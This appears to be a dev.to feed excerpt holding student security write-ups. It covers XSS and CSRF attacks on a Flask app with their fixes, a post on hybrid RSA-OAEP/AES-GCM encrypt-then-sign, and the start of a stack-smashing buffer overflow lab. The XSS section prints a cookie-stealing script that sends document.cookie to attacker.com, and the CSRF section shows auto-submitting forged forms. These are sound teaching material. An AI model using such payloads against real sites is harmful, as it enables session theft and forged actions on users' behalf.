&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker submits &lt;code&gt;&amp;lt;b&amp;gt;hello&amp;lt;/b&amp;gt;&lt;/code&gt; as a post. Instead of displaying the text literally, the browser renders it as bold — &lt;strong&gt;hello&lt;/strong&gt;. This confirms the browser is executing raw HTML from post content, meaning any tag including &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; will also work.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frjfmch5s5z6o8rq7wlfx.png" alt=" " width="426" height="399"&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  XSS-2 — Script Injection
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker submits &lt;code&gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;/code&gt; as a post. Every time any user loads the home page, the script executes in their browser and an alert box fires. Because the post is stored in the database, the attack persists and affects every user — not just the attacker.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9a3bw61mp0pmxm1999st.png" alt=" " width="426" height="399"&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  XSS-3 — Cookie Theft
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker submits &lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt; as a post. The script reads the victim's &lt;code&gt;session_token&lt;/code&gt; from &lt;code&gt;document.cookie&lt;/code&gt; and displays it. In a real attack the alert would be replaced with a silent redirect that sends the cookie to the attacker's own server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://attacker.com?c=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the stolen session token the attacker can log in as the victim without ever knowing their password.&lt;/p&gt;




&lt;h3&gt;
  
  
  Fix
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;In &lt;code&gt;home.html&lt;/code&gt;&lt;/strong&gt; — remove the &lt;code&gt;| safe&lt;/code&gt; filter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;{{ post[0] }}&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;In &lt;code&gt;app.py&lt;/code&gt;&lt;/strong&gt; — add &lt;code&gt;httponly=True&lt;/code&gt; to the session cookie so JavaScript cannot read it even if a script somehow runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;httponly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jinja2 now escapes all HTML characters before sending them to the browser — &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;lt;script&amp;amp;gt;&lt;/code&gt; and is displayed as plain text. The &lt;code&gt;HttpOnly&lt;/code&gt; flag ensures the session token is never accessible via &lt;code&gt;document.cookie&lt;/code&gt;, limiting the damage of any XSS that may be found elsewhere.&lt;/p&gt;




&lt;h2&gt;
  
  
  CSRF (Cross-Site Request Forgery)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;The original application had no CSRF protection. Every form accepted POST requests without verifying they came from the app itself. Since the browser automatically attaches the session cookie to every request — including ones triggered by other sites — an attacker can perform actions on behalf of a logged-in user just by getting them to visit a malicious page.&lt;/p&gt;




&lt;h3&gt;
  
  
  CSRF-1 — Forged Post Creation
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker creates a page with a hidden form that auto-submits to &lt;code&gt;/posts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;body&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"document.forms[0].submit()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"http://localhost:5000/posts"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"message"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"forged post from attacker"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a logged-in user visits this page, the browser automatically submits the form and sends the session cookie along with it. The app accepts the request as legitimate and creates a post in the victim's account without their knowledge.&lt;/p&gt;




&lt;h3&gt;
  
  
  CSRF-2 — Forced Logout
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker embeds an image tag on any page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://localhost:5000/logout"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a logged-in user views the page, the browser sends a GET request to &lt;code&gt;/logout&lt;/code&gt; — including the session cookie. The app logs the victim out silently, without them ever clicking the logout button.&lt;/p&gt;




&lt;h3&gt;
  
  
  Fix
&lt;/h3&gt;

&lt;p&gt;We observed that &lt;code&gt;secrets&lt;/code&gt; was already imported in the original &lt;code&gt;app.py&lt;/code&gt; for generating session tokens. We reused it alongside Flask's built-in &lt;code&gt;session&lt;/code&gt; to implement manual CSRF protection with no extra dependencies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In &lt;code&gt;app.py&lt;/code&gt;&lt;/strong&gt; — add &lt;code&gt;session&lt;/code&gt; to imports and set a secret key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;secret_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;yoursecretkey&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Generate a token&lt;/strong&gt; on every page load that renders a form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;secrets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;token_hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;login.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;csrf_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Validate the token&lt;/strong&gt; at the start of every POST route:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CSRF token invalid&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Change logout from GET to POST&lt;/strong&gt; so it cannot be triggered by a link or image tag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/logout&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;In both templates&lt;/strong&gt; — add a hidden token field inside every form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"csrf_token"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"{{ csrf_token }}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Replace the logout link&lt;/strong&gt; in &lt;code&gt;home.html&lt;/code&gt; with a POST form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/logout"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"csrf_token"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"{{ csrf_token }}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Logout"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A forged request from another site cannot include the correct token because it is randomly generated on each page load and stored in the victim's session — which the attacker has no access to. Without the token the server returns HTTP 400 and the request is rejected.&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>sql</category>
      <category>webdev</category>
    </item>
    <item>
      <title>MP2 RSA-OAEP Authenticated Encryption (Encrypt-then-Sign)</title>
      <dc:creator>134A6_Thoughts</dc:creator>
      <pubDate>Sat, 25 Apr 2026 10:11:40 +0000</pubDate>
      <link>https://dev.to/acchanli/mp2-rsa-oaep-authenticated-encryption-encrypt-then-sign-4df5</link>
      <guid>https://dev.to/acchanli/mp2-rsa-oaep-authenticated-encryption-encrypt-then-sign-4df5</guid>
      <description>&lt;h2&gt;
  
  
  Starting out
&lt;/h2&gt;

&lt;p&gt;When we first sat down with the spec, the sentence that stuck with us was:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Note that RSA isn't really meant to encrypt plaintext, but you'll have to find a way to get it to do that."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That single line ended up shaping almost every decision we made. It told us the assignment wasn't really about getting RSA to swallow 140 characters — it was about recognizing &lt;em&gt;why&lt;/em&gt; you shouldn't, and reaching for the pattern that real systems use instead.&lt;/p&gt;

&lt;p&gt;We split the work loosely: &lt;strong&gt;Akhy&lt;/strong&gt; took the key-generation and trusted-directory layout, &lt;strong&gt;Lars&lt;/strong&gt; owned the encryption/signing pipeline, and &lt;strong&gt;Carl&lt;/strong&gt; handled the CLI, the sample files, and hammering on edge cases. Anything involving padding parameters (OAEP, PSS, MGF1, salt lengths) we did together, because those are the kinds of details that silently compile and silently break security.&lt;/p&gt;

&lt;h2&gt;
  
  
  The first attempt — and why we threw it away
&lt;/h2&gt;

&lt;p&gt;Our first version did the literal thing: &lt;strong&gt;RSA-OAEP directly on the plaintext&lt;/strong&gt;, then sign the resulting ciphertext with the other keypair. And honestly… it worked. RSA-2048 with OAEP-SHA256 has room for about 190 bytes of plaintext, so 140 ASCII characters fits comfortably. Roundtrip passed. Tampering got detected. On paper, we were done.&lt;/p&gt;

&lt;p&gt;But sitting with it, it felt like we had solved the &lt;em&gt;letter&lt;/em&gt; of the spec and missed the &lt;em&gt;point&lt;/em&gt;. The hint was practically waving at us. We also noticed that our "solution" would silently break the moment anyone tried a 141st character, because the failure would come from the RSA padding layer rather than our own input validation — an ugly coupling between message length and the choice of cipher.&lt;/p&gt;

&lt;p&gt;So we rewrote it as &lt;strong&gt;hybrid encryption&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generate a fresh 32-byte AES-256 session key and a 12-byte GCM nonce per message.&lt;/li&gt;
&lt;li&gt;Encrypt the plaintext with &lt;strong&gt;AES-256-GCM&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Wrap &lt;em&gt;only&lt;/em&gt; the session key with &lt;strong&gt;RSA-OAEP&lt;/strong&gt; (SHA-256 + MGF1-SHA-256).&lt;/li&gt;
&lt;li&gt;Bundle &lt;code&gt;{encrypted_key, nonce, ciphertext}&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sign the canonical JSON of that bundle with &lt;strong&gt;RSA-PSS&lt;/strong&gt; (SHA-256, MAX_LENGTH salt).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That's the same shape TLS, PGP, and S/MIME all use, and crucially, the length constraint now lives in our validation code — not in the cipher.&lt;/p&gt;

&lt;h2&gt;
  
  
  Design decisions we argued about
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Encrypt-then-sign vs. sign-then-encrypt.&lt;/strong&gt; The spec mandated encrypt-then-sign, but we spent time making sure we actually understood &lt;em&gt;why&lt;/em&gt;. The argument that landed for us: signing the ciphertext binds the sender's identity to the exact bytes that were transmitted, which blocks &lt;strong&gt;surreptitious-forwarding&lt;/strong&gt; — a malicious recipient peeling off the signature, re-encrypting the plaintext under a third party's public key, and making it look like the original sender was talking to them all along. Sign-then-encrypt doesn't catch that.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two keypairs, not one.&lt;/strong&gt; The spec required it, but writing &lt;code&gt;_enc_private.pem&lt;/code&gt; and &lt;code&gt;_sig_private.pem&lt;/code&gt; as separate files (and loading them through separate functions) gave us a free guarantee: our code physically cannot confuse a signing key with an encryption key. That's a small architectural payoff we didn't expect going in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What exactly gets signed.&lt;/strong&gt; We landed on &lt;code&gt;json.dumps(enc_bundle, sort_keys=True)&lt;/code&gt; as the canonical form. Since every value inside is base64-encoded, there's no Unicode escape ambiguity, and &lt;code&gt;sort_keys=True&lt;/code&gt; removes any dependency on Python's dict iteration order. That made the sign/verify boundary deterministic without us having to do any byte-level gymnastics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why AES-GCM and not AES-CBC + HMAC.&lt;/strong&gt; GCM gives us authenticated encryption in a single primitive. Combined with the outer RSA-PSS signature, we end up with two independent integrity checks on the ciphertext — a belt-and-suspenders property we liked.&lt;/p&gt;

&lt;h2&gt;
  
  
  What worked
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;pyca/cryptography&lt;/code&gt;&lt;/strong&gt; did all the heavy lifting — OAEP, PSS, AES-GCM, PEM serialization. No hand-rolled crypto, as the spec required.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tamper detection fires at the right layer.&lt;/strong&gt; When we flipped a single byte of the ciphertext during testing, verification failed at the &lt;em&gt;signature&lt;/em&gt; step, before we ever touched the recipient's private key. That's the whole point of encrypt-then-sign, and it was satisfying to watch it actually behave that way.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input validation runs before any crypto.&lt;/strong&gt; The 140-character limit and ASCII check happen first, so bad input fails fast with a clear &lt;code&gt;ValueError&lt;/code&gt; instead of bubbling up as a confusing padding error from deep inside the library.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The "trusted directory" is dead simple.&lt;/strong&gt; A local &lt;code&gt;keys/&lt;/code&gt; folder + a &lt;code&gt;list-keys&lt;/code&gt; command. It's not PKI, but it's an honest model of what a trusted directory &lt;em&gt;is&lt;/em&gt; at its core: a place where public keys live, addressed by identity.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Limitations we're aware of
&lt;/h2&gt;

&lt;p&gt;We want to call these out explicitly rather than pretend the implementation is production-ready.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No replay protection.&lt;/strong&gt; A captured valid bundle can be resent and will still verify. A production version would need a per-recipient seen-nonce set or a timestamp window baked into the signed payload.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No sender/recipient binding inside the signature.&lt;/strong&gt; Right now the signature covers &lt;code&gt;{encrypted_key, nonce, ciphertext}&lt;/code&gt; but not the &lt;code&gt;sender&lt;/code&gt;/&lt;code&gt;recipient&lt;/code&gt; identity fields in the outer JSON. That means an attacker who intercepted a bundle couldn't forge a new one, but they could conceivably relabel the outer envelope. We'd fix this by pulling identities into the signed bytes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Private keys on disk are unencrypted&lt;/strong&gt; (&lt;code&gt;NoEncryption()&lt;/code&gt;). Fine for a demo; a real deployment should password-encrypt them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No key revocation or rotation.&lt;/strong&gt; Once a key is in the directory, it's trusted forever.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CLI surfaces Python tracebacks&lt;/strong&gt; on failure instead of friendly one-liners. We left it that way because it made failures easier to debug during development, but a production CLI should catch at the top level and exit cleanly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Trusted directory" is trust-by-filesystem.&lt;/strong&gt; No CA, no signatures on the public keys themselves. Good enough for this MP, not for the internet.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What we'd do next
&lt;/h2&gt;

&lt;p&gt;If we kept going, the next pass would be: (1) fold &lt;code&gt;sender&lt;/code&gt; and &lt;code&gt;recipient&lt;/code&gt; into what gets signed, (2) add a password-protected keystore, (3) add replay protection via a per-recipient nonce registry, and (4) clean up the CLI so errors surface as single-line messages with nonzero exit codes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we took away
&lt;/h2&gt;

&lt;p&gt;The biggest lesson was that the &lt;em&gt;hard&lt;/em&gt; parts of applied crypto aren't the math — it's knowing which primitive to reach for, which layer binds what to what, and what your threat model actually is. The libraries are excellent; the thinking is the work. The second lesson was more practical: write the input validation &lt;em&gt;before&lt;/em&gt; the crypto, always. It turns a whole class of obscure library errors into ordinary, debuggable application errors.&lt;/p&gt;

&lt;p&gt;We finished the assignment with a program that's ~250 lines, uses only well-tested primitives, and fails safely in every case we could think of to test. That felt like the right outcome.&lt;/p&gt;

</description>
      <category>algorithms</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
    <item>
      <title>MP1 Write‑Up – Stack Smashing</title>
      <dc:creator>134A6_Thoughts</dc:creator>
      <pubDate>Wed, 11 Mar 2026 10:15:23 +0000</pubDate>
      <link>https://dev.to/acchanli/mp1-write-up-stack-smashing-9hk</link>
      <guid>https://dev.to/acchanli/mp1-write-up-stack-smashing-9hk</guid>
      <description>&lt;p&gt;We’re three people in this group: Akhy, Lark, and Carl. We’ll just tell the story of what we did, because the whole thing was a bit of a rollercoaster.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Getting the basic overflow working
&lt;/h2&gt;

&lt;p&gt;We started from the given vuln.c:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We compiled it exactly as the MP1 handout said:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-mpreferred-stack-boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; &lt;span class="nt"&gt;-ggdb&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; execstack &lt;span class="nt"&gt;-std&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;c99 vuln.c &lt;span class="nt"&gt;-o&lt;/span&gt; vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First goal: just smash the stack and see where things land. We generated a dummy payload:&lt;/p&gt;

&lt;p&gt;python&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
